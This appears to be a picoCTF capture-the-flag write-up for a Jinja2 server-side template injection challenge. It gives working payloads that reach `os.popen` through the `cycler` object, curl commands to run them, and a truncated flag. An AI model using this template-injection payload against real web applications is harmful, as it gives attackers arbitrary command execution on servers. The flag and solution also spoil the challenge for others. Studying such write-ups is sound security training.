SSTI1

Published: April 2, 2025Updated: December 9, 2025

Description

The announcement form renders unescaped Jinja2 templates, so you can access Python globals through the `cycler` object and execute shell commands.

Load the challenge URL and locate the text field that reflects arbitrary user input.

Submit a harmless template (e.g., `{{7*7}}`) to confirm server-side template execution.

curl http://rescued-float.picoctf.net:52534/
curl -L -X POST -d "content={{7*7}}" http://rescued-float.picoctf.net:52534/

Solution

  1. Step 1Pop a shell via cycler
    Jinja exposes the `cycler` helper, whose `__init__.__globals__` dictionary contains the `os` module. Calling `os.popen` lets you run arbitrary commands from a template payload.
    {{ cycler.__init__.__globals__.os.popen('ls -la').read() }}
  2. Step 2Read the flag file
    Listing the directory reveals the `flag` file. Replace the command string with `cat flag` (or use curl to POST the payload) and the response contains the picoCTF flag.
    {{ cycler.__init__.__globals__.os.popen('cat flag').read() }}
    curl -L -X POST -d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" http://rescued-float.picoctf.net:52534/
  3. Step 3Optional: script the extraction
    Pipe the HTML through grep/cut if you want a clean output from the command line.
    curl -L -X POST -d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" http://rescued-float.picoctf.net:52534/ | grep -E "picoCTF\{.*\}"

Flag

picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_ae48...}

The payload chain works in-browser or via curl; both outputs include the full flag inside the rendered HTML.